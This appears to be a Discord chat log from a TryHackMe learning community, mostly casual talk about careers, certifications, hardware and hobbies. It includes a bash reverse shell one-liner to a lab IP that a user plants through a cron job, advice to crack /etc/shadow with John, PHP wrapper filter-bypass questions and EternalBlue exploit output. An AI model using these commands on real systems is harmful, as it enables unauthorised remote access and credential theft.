
also looked into some fun android stuffs

[heady nova]

That's nice, I abandoned neovim since setting it up was taking more time and I was supposed to be productive with it and not tangled in lua web

[heady nova]

Why not ios

[sand trench]

can not affords and not as good for open source apps

[heady nova]

True, been thinking of getting into android malware rev but I don't know what to do at this point

[molten sky]

don't know what you do?

you reverse!

[heady nova]

Pentesting, SoC, cloud security, Security Researcher

[sand trench]

get to 0xD on tryhackme and ask for guidance in the advanced channels

[heady nova]

I can moon walk, does that help?

[molten sky]

i want 0xD just to shitpost in advanced but i also don't wanna get 0xD cause lazy

[simple valve]

Do it, get 0xD already

its ez pz for u

[molten sky]

i've been at yellow whatever (9?) forever it seems

yeah 9

[heady nova]

Hmmm aight I still got 2 months before internship. The only sad thing is college won't leave me alone and I'm still ahead of em so it feels like a waste of time to go there but I have to

[heady nova]

Hey there Mknukn

[simple valve]

Hello rinzler

How have u been

[heady nova]

What does your name mean tho

[sand trench]

anyways time for that sweet sweet release of sleep meep beep sloop moop boop times

[heady nova]

I have been good, kinda anxious but good. Also been grinding student sub of htb academy recently

[simple valve]

Its an acronym for word play in the common language in my country. its direct translation is “i’ve loved you ever since the first day i met you”

[heady nova]

G'night~

[simple valve]

nice htb academy is good. What modules are you doing?

[heady nova]

I'm completing the Penetration Tester path

But gotta finish the intro to Asmx86-64 and intro to malware analysis first

Also shellcode and payloads

I'm going reverse Tier 2 -> Tier 1 -> Tier 0

How you been @simple valve ?

[simple valve]

Thats great, i hope youre not getting bored by their walls of texts but their content is super good and i wish i had more time to tackle it on

[heady nova]

Actually, I'm pretty good at reading stuff

But you should try Tier 4

It's heaven

[simple valve]

I wish I had that, I hate reading long walls of text

The payments are super wild 💀, i cant afford it right now

[heady nova]

Start small by reading blogs and small books

[heady nova]

True, but you got student Id?

[simple valve]

But Im doing CRTO rn and just passed my ASCP exam

[simple valve]

Nope i do not, i am unfortunately a working individual now

[heady nova]

You can accumulate 1600 cubes by doing till Tier 2

[simple valve]

Darn tax eating my paycheck

[heady nova]

Dang it

[heady nova]

Afraid of that too

[heady nova]

Damnnnn congrats man

[lone thistle]

eeeek

[simple valve]

Thank youu

[twin ridge]

Gave +1 Rep to @heady nova (current: #209 - 25)

[simple valve]

Hope to see you with a certification soon, CPTS perhaps 👀

[crude stump]

Anyone read this book

https://umbrella.cisco.com/info/phishing-for-dummies-ebook-discover-real-risks-of-phishing?wbraid=ClcKCAjw48-vBhBoEkcAh9fdICmSPoi3Zopa3RqvBm2_dEqqBu4ijXzfPF5W86vVpR3S60vl25nczGmV-enOhjVUWgG6G4jwnHlqVGMKf4kRivBvGBoC53U&utm_medium=display&utm_source=google-retargeting&utm_campaign=UMB_NA_EN_GDSR_Mid_DNS&utm_content=DNS-FY24-Q1-Content-Ebook-Phishing-for-Dummies-2023&_bt=671889583086&_bk=&_bm=&_bn=&_bg=153311044976

[simple valve]

if you close your eyes, its like its not even there

[crude stump]

Oh my

[heady nova]

Wut, rust is lob

[lone thistle]

ahaha. trueee. Trying to make a bit of a dent in this. RustScan needs a bit of TLC

[crude stump]

It looks interesting especially because it’s by Cisco

[heady nova]

That's what I'm prepping for

Just happy that finally I'll have something solid on my resume

[simple valve]

Good luck! The badge looks nice on the HTB Discord since its beside your name

[heady nova]

Hahaha I'm on their discord but never chat

[simple valve]

do you maintain this project among other things?

I mean alongside other developers

[heady nova]

That reminds me, I'll take CCNA soon

[crude stump]

Ooo

Good luck

[lone thistle]

i'm on the core dev team yeah but uh .... I haven't contributed/maintained for quiiite a while 😅

[heady nova]

Thanks

[twin ridge]

Gave +1 Rep to @crude stump (current: #239 - 21)

[simple valve]

I’d understand that. I can’t imagine myself maintaining a tool always on top of my other responsibilities, must be hard work

Salute to all OSS devs 🫡

[boreal scarab]

Also happy BDay!

[heady nova]

Thanks man 💜

[molten sky]

idk what this one is from but one of my favourite things in battlefield used to be sniping jets and helicopters out of the air with tanks on the other side of the map

[past sparrow]

Happy birthday

[molten sky]

pisses people off to no end

hilarious

[heady nova]

Thanks dude

[twin ridge]

Gave +1 Rep to @past sparrow (current: #322 - 14)

[upbeat axle]

https://tenor.com/view/clapping-yay-excited-soexcited-greatnews-gif-8845875809066863059

[heady nova]

You could do that?!

[crude stump]

I may be wrong but I think it’s from warthunder

[molten sky]

yeah just gotta aim

[simple valve]

#room-help I think is a better place to ask your question

You’ll get much more streamlined help

[crude stump]

Either this or world of tanks but nobody plays that game lol

[molten sky]

i had a feeling that might be it but i wasn't sure enough to really say

wot was the alternative

haven't played that in years

[crude stump]

Ikr

[molten sky]

it used to be good actually

[crude stump]

I downloaded it along time ago but I never even played it

Idk why I even did

[narrow dove]

has anyone tried the new room (hack-smarter-security)?

[simple valve]

#1218273577720348802 channel

if you want to find others that are currently doing/have done it.

[boreal scarab]

That one would be WoT

[chilly veldt]

I had a blessed breakfast

Got a gosh dang durum

[rapid merlin]

Doing a ctf
Directory traversal found
Can't figure out which file to retrieve from the server
How can I enlist dirs content

I have etc passed
Never got to exploit it

Any ideas?

[fresh cobalt]

Do you have etc/shadow and etc/passwd ?

[rapid merlin]

I hav passwd

[fresh cobalt]

If you have etc/shadow , unshadow it with etc/passwd and use John

[simple valve]

Is this a CTF from TryHackMe?

[rapid merlin]

Nah

I think I have it

[simple valve]

Oh okie, I think you’ll better have help asking in their respective forums and whatnot.

[rapid merlin]

How to bypass :// for php wrappers
I tried encoding
Url url hex
Any other way around?

[coarse moth]

#!/bin/bash

bash -i >& /dev/tcp/10.10.32.110/8080 0>&1

is this command good for a reverse shell?

[sinful thunder]

Potentially ?

[coarse moth]

? what you mean

[sinful thunder]

It’s a possible reverse shell to 8080/TCP on said IP but it will depend on your environment

For most scenarios; yes it’ll work. It will most definitely be caught by something like SecurityOnion

[coarse moth]

I'm exploiting a cron job to get a reverse shell root of the target system, however I'm listening with ncat and haven't received anything

[sinful thunder]

In terms of a help desk; Make sure you have a VPN connection to THM infrastructure.
In terms of Offsec; Make sure you’re exploiting it properly. (IE: cron jobs are running, no firewall rules blocking that outgoing port, etc)

[coarse moth]

There was a small error in a misplaced character, thank you anyway

[twin ridge]

Gave +1 Rep to @sinful thunder (current: #2025 - 1)

[hardy forum]

Hey guys

Thank you for having me here

Please I have a question. Am new to IT/ cybersecurity am a newbie. I want to start my career in cybersecurity. The Tryhackme is it a good place to start?

Thank you

[fresh cobalt]

Go for it , it’s great. Plenty of labs with hands on, you’ll learn a lot

[hardy forum]

Wow. Thank you 🙏

[twin ridge]

Gave +1 Rep to @fresh cobalt (current: #2025 - 1)

[blazing granite]

#start-here

[hardy forum]

Thank you 🙏

[twin ridge]

Gave +1 Rep to @blazing granite (current: #139 - 48)

[molten sky]

mods are asleep

new seytonic vid dropped

[simple valve]

Hi @graceful thistle !!

I have not seen you around in quite a while

How goes it in NZ (?)

[molten sky]

i knew dolphin would react/respond like right away

good at summoning y'all

[buoyant tree]

cap

I don't see anything

[blazing granite]

@buoyant tree Sup!!!

[buoyant tree]

hullo

listening to a cover which I am not even sure falls into a proper genre

[blazing granite]

I'm drinking 🍺

[gray sonnet]

Hi Drinking, I'm Vain 👋

[blazing granite]

that was indeed, quite a vain answer 😂

[coarse moth]

which is better attachbox or open vpn

to complete machines

[gray sonnet]

Personally I prefer using my own machine

[blazing granite]

really depends on your preferences

[buoyant tree]

I like attackbox more since I don't have to spin up a VM every timei

[gray sonnet]

Hey, anyone here plays phasmophobia?

[blazing granite]

I don't play with phobias 😂

[buoyant tree]

Everybody here will be triggered

[blazing granite]

😂

much worse 😛

[buoyant tree]

crime against humanity

death sentence

star trek better tho

[blissful axle]

Hi guys, I am looking for a vulnerability in Version 5 of rar for open a file with a password, can anyone help me in that?

[simple valve]

What are you trying to do?

[blissful axle]

Find a vulnerability in that version then exploit it then open the file 👍🙂

[blissful axle]

.

[blazing granite]

Sounds unethical, I believe nobody will help you here, it's against the rules

[blissful axle]

But the vulnerability deja known by rarlab and they create a new version for it, it is just for learning

[blazing granite]

please don't press the matter any further, we're happy to help you with anything tryhackme related

[weak plaza]

Guys i was doing eternalblue room on thm. i was able to exploit but cannot create a session. i am getting this error. Any help??
[] 10.10.150.14:445 - Sending egg to corrupted connection.
[] 10.10.150.14:445 - Triggering free of corrupted buffer.
[-] 10.10.150.14:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 10.10.150.14:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] 10.10.150.14:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

[chilly veldt]

Try and reset the room

[boreal gull]

@grizzled crystal may i DM? Someone i know is starting an A11Y cyber security podcast and i am helping them find other people to talk on it

[brisk tree]

Morning

[weak plaza]

Tried it out.. not working🥲

[past sparrow]

try again, windows and eternalblue can fail from time to time

if still not working after reasonable attempts - might not be the correct exploit

[weak plaza]

Sure I'll I give a try

[weak plaza]

I used the exact same thing given my the room.. options are set properly.. idk the issues coming from

[sick lance]

Stick to #room-help for this please.

[past sparrow]

good morning

Looked at Locked Shields lineup for our team, I am so happy I get to be in Windows team ...

erveryone else I know "Uncertain" 🥲

I don't mind it though, glad they knew what I wanted to do in advance

get to see my old colleague as well so thats a win

Not so sure its a lonely path

[sick lance]

Depends on the questions your asking, I suppose.

[past sparrow]

line is determined by if you ask for sake of asking or you geniuenly want to know

Though often time the answer can be "you can look it up in 2 minutes from google"

[finite edge]

I have a question

[sick lance]

Depends on the question, we may, or may not have an answer.

[finite edge]

Do I need working knowledge of any programming languages before starting my career in cybersecurity?

[past sparrow]

No

[finite edge]

So I can start without any knowledge of programming languages?

[past sparrow]

Yes

[finite edge]

Companies accept such candidates who has no knowledge in programming languages if they were to apply for any position related to cybersecurity?

[past sparrow]

I think you should elaborate your questions tad bit more, or narrow them down, because I am answering for the whole scope of cybersecurity now. Including compliance.

So, yes, to your latest question

[finite edge]

All right, let's say I want to become a penetration tester for a company. Will I require any working knowledge of programming languages?

[past sparrow]

It's doable, but you will be tool dependent and you won't be able to modify it to your liking and to company specific environment, so if there is a constant argument that is purposefully different in the company you are penetration testing - your tool is useless

[finite edge]

List a few programming languages that will be useful if I'm to become a penetration tester.

[past sparrow]

Javascript, Python, Java, PHP
not exactly programming languages but also SQL and powershell

Most penetration testing jobs on the market are for web apps and phone apps, its not often someone wants full domain penetration test

[finite edge]

Thank you for answering my questions.

[twin ridge]

Gave +1 Rep to @past sparrow (current: #307 - 15)

[past sparrow]

No problem and good luck

Quite possibly

Either that or something similar likely will be there

[shell nova]

Very possibly I'm afraid

[exotic lark]

guys, how can i verify my thm account here?

[sharp citrus]

@exotic lark

Discord: How do I verify my TryHackMe account?

Article Link

https://help.tryhackme.com/en/articles/6495858-discord-how-do-i-verify-my-tryhackme-account

Mar 16, 2024, 9:51 AM

[exotic lark]

ty

[graceful thistle]

Heya, how are you? 😁 all is well here, just going home now from a really long dinner party haha

[ashen wadi]

Every SOC center is different,for example in mine we use ELK only for network,and for other things we have some inhouse made SIEM. Usually people go with ELK,Splunk,Qradar, Azure Sentinel..

https://tenor.com/view/analysis-scrutiny-believer-imdb-comic-con-gif-12213072

[rapid merlin]

Anyone has a gaming laptop?

[finite edge]

https://tenor.com/view/wtff-cat-confused-orange-gif-25858653

[naive violet]

Plenty of that work about

[rapid merlin]

Do you?

[past sparrow]

Might also depend on region, I am more familiar with European market than U.S or Asian market

[rapid merlin]

Me too, but I have different experience with that

I work for an MSP, and it is pretty common to do penetration tests

[past sparrow]

Oh, I am not saying that Domain penetration tests are uncommon, I am saying that the demand for web pentest is a lot higher

[rapid merlin]

ah in that way

[naive violet]

I'm not in the US

[past sparrow]

I may be wrong though and our company just gets more web stuff than any other things

[simple valve]

I'm from Asia market and am in house tester for our web apps and APIs

[past sparrow]

web and phone apps

[simple valve]

how do your phone app tests go?

if you dont mind me asking

[ashen wadi]

How hard is to test house?

[simple valve]

[past sparrow]

Oh I am not a pentester but from what I have heard from the red team's bi-annual reports they are quite successful in that (whatever that means)

Are developers not good or our pentesters very good, that I don't know

[mint palm]

I found that testing mobile apps (especially made by big companies) are pretty boring, where internal infrastructure tests reveal more critical vulns

Probably because it’s easier to harden one mobile app (especially that most use API’s) than to secure 20k or more hosts running multiple services

[finite edge]

No

[rapid merlin]

My gaming laptop lasts less than 2 hours is there anything I can do it was 48whr battery

[simple valve]

Keep it plugged in

That's how gaming laptops work

[ashen wadi]

https://tenor.com/view/britney-britney-spears-the-office-dwight-schrute-its-me-gif-5338594

Why would you even get gaming laptop,build SFF PC and have one cheap thinkpad for playing with linux

BUT dont build to small one,because your cat will need warmth ❤️

[past sparrow]

only thing you need is a laptop with 1 USB-C port everything else is reduntant

[loud marlin]

https://tenor.com/view/rabbit-eating-gif-23238008

[ashen wadi]

Stop overcomplicating stuff dudee,just learn basics and when you get job in soc ,they will show you everything.

https://tenor.com/view/dude-gif-26705456

[past sparrow]

You read out only 4 from that list? 👁️ 👄 👁️

ELK is acronym for 3 tools

But yeah, learn 1, knowledge will somewhat carry over

[past sparrow]

exactly, everything can be learned on the job

[ashen wadi]

ELK (Elasticsearch, Logstash, Kibana)

https://tenor.com/view/akira-leave-me-alone-tiktok-meme-reaction-gif-9595462199354763206

[past sparrow]

why stop at there, make it HELK!

[ashen wadi]

https://tenor.com/view/akira-kaneda-tetsuo-monster-scifi-gif-27457854

[past sparrow]

now this can be fun

[rapid merlin]

Till now it was mostly plugged all time
But today I used without charger i used youtube and browsing it only lasted like 2 hr

[ashen wadi]

What SocAnalyst tier are you?

[rapid merlin]

My gaming laptop only lasts 2hrs

[past sparrow]

2/3

[mint palm]

There’s also “Beats”

But not in the acronym 😭

[ashen wadi]

So you are threat hunter and also digital forensic?

[past sparrow]

yeah, I just expanded that there is more than 1

[past sparrow]

and IR

[ashen wadi]

Do you also have to write scripts for detection or do you have sepearate team of detection engineers for that?

[past sparrow]

but yeah, digital forensic is part of IR

[past sparrow]

I prefer writing my own scripts for most things, we don't have separate team for that no

if I can't find it via script I find a work around

[ashen wadi]

My friend from chicago is tier 3 analyst with 6 years of expereince,has over 100k salary and cant write scripts lol

He says there is whole department of guys who do just that 😄

[past sparrow]

yeah no, I like the idea of composing what I look for myself

if you have team doing the script writing for you, may as well replace you with combined script tool

[ashen wadi]

Do you have any tips how to start with writing scripts? My knowledge is very shallow,i can write only basic bash stuff..really basic lol

My plan is to learn JS/PHP but at the same time i would like to script in python and idk how to combine all that learning 😄

[past sparrow]

depends on what you really want to use the script for

start writing atom queries / tasks

and combine them over time

make sure atom works first, before combining

script doesn't need to look fancy, it just has to get the job done, online documentation is always there to help

If you need to deal with windows devices, then for starters can start learning PowerShell

[ashen wadi]

🫡

[past sparrow]

Just like all things, it needs practice and uh

things that never start take longest to finish

[loud marlin]

and was doing death note for friend

[past sparrow]

looks quite good

[loud marlin]

death note is nice for sure

[ashen wadi]

You painted this?

[loud marlin]

nah. laser engraving

[timid prism]

cant help that im overthinker

[versed prairie]

It's probably a stupid question, but if i'm doing a reverse shell in a room over VPN how do i get my IP?

[simple valve]

ip a then find the relevant tun IP

You can also visit the tryhackme website and go to /access to see your IP.

[versed prairie]

I don't have a tun IP. I think i don't have it cause im going through a OpenWRT Setup that is connected to the VPN? Could this be the problem why i dont get my connection?

[onyx heath]

ifconfig should do

[earnest bolt]

its my first time learning abt thsi stuff what learning path should i taek

[loud marlin]

#general message

[earnest bolt]

ty

[plush mesa]

why dont they just add that path recommendation list to the site, for example as recommendation right after signing up

[shell nova]

Renders well on slate

[loud marlin]

app havce nice filter. Dieter. it turn color and shades of color into 255 shades of grey and auto power and speed of laser to achive effect

[shell nova]

Assumed as much

At least for the greyscale and laser power

[loud marlin]

as this

[shell nova]

How I'd have designed it

Better if the image is already greyscale

[loud marlin]

for that its caled bas relief picture

https://www.laser-pics.com/ page with prepared for laser

[earnest bolt]

btw

are all the paths fully free??

[loud marlin]

around 80% thm is free

[earnest bolt]

which ones arent

[loud marlin]

some are one that you get if you subs to thm. not sure what ones are paid. you can use search tab to list them as wish

[earnest bolt]

for the most part i can get through the basics for free?

[plush mesa]

No entire paths are paid (other than the AWS one) there's always free and subscription based rooms in each path

[loud marlin]

ill say yes

[shell nova]

Yup

[earnest bolt]

ight ty

[sick lance]

No, tha paths have subscription room.

[loud marlin]

@shell nova also this. aside i used less power for effect. but yea. that is that auto filter

[shell nova]

Some colours translate better

[loud marlin]

yep. more range of colors are better. and depend of material

for b/w pictures, simple one engraving goes fast. for this slates it need 20ish min for 2k pic with around 2k mm/s. if i convert to 8k it need 45 min cca. and all also depend of LPI (same as DPI, just this is lines per inch)

[shell nova]

Aye

[loud marlin]

and it helps since is galvo laser. but down thing is is only 2w IR laser. if i get fiber galvo of 60/80/100 w i can do 3d relief on metal coins and so. which will be rly nice 🙂

[white nexus]

Has anyone here looked at the AWS Cloud plan on TryHackMe? Is it worth it?

[sick lance]

A few people have enjoyed it.

[cedar scaffold]

id assume it also depends on if you're interested in cloud security, if so then probably yes

[sick lance]

Worth it?

Depends on your PoV, difference of opinions and all.

[white nexus]

Would be interesting to hear from someone who has taken it

[cedar scaffold]

i haven't looked at it, but going off the rest of the site, if its a topic you're interested in its probably worth

[sick lance]

@lean panther has taken it, but they're NZ timezone so not sure when they can reply.

[cedar scaffold]

https://tenor.com/view/sleepy-cat-sleepy-head-cutie-kitten-gif-13347200

[loud marlin]

@shell nova and wish to cut metal sheet to cut 0.2 mm metal i need around 200 passes
https://youtube.com/shorts/IVg62xinn2c this is time laps of it 😦

[shell nova]

It's not meant for cutting

[sick lance]

Tell that to all Bond villains